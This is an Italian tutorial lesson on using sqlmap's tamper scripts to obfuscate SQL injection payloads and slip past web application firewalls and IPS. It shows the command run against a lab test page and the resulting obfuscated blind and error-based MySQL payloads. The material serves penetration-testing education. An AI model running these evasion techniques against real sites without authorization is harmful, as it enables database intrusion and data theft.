Tampering con sqlmap

7 febbraio 2012

Tecniche avanzate: Tampering

SQLMap di default non utilizza tecniche di offuscamento del payload inviato, questo comporta l’essere facilmente individuati da tutti quei tools che monitorano le richieste fatte al web server, ci riferiamo ai web application firewall (WAF) o IPS. In alcuni casi è possibile aggirare il problema utilizzando alcune tecniche implementate in SQLMap grazie ad alcuni scripts, per una lista completa da terminale digitare:

user@backbox:~$ ls -1 /usr/share/sqlmap/tamper/*.py 
/usr/share/sqlmap/tamper/between.py 
/usr/share/sqlmap/tamper/charencode.py 
/usr/share/sqlmap/tamper/charunicodeencode.py 
/usr/share/sqlmap/tamper/ifnull2ifisnull.py 
/usr/share/sqlmap/tamper/__init__.py 
/usr/share/sqlmap/tamper/randomcase.py 
/usr/share/sqlmap/tamper/randomcomments.py 
/usr/share/sqlmap/tamper/space2comment.py 
/usr/share/sqlmap/tamper/space2plus.py 
/usr/share/sqlmap/tamper/space2randomblank.py

Vediamo ora un esempio in cui ipotizziamo l’utilizzo di un DMBS di tipo MySQL ed il carattere >, gli spazi e le stringhe SELECT sono bannati, il comando da lanciare sarà il seguente:

user@backbox:~$ cd /usr/share/sqlmap/
user@backbox:~$ sqlmap -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper 
  tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING 
clause' injectable 
[…]
Tutte le lezioni

1 ... 4 5 6

Se vuoi aggiornamenti su Tampering con sqlmap inserisci la tua e-mail nel box qui sotto:
 
X
Se vuoi aggiornamenti su Tampering con sqlmap

inserisci la tua e-mail nel box qui sotto:

Ho letto e acconsento l'informativa sulla privacy

Acconsento al trattamento di cui al punto 3 dell'informativa sulla privacy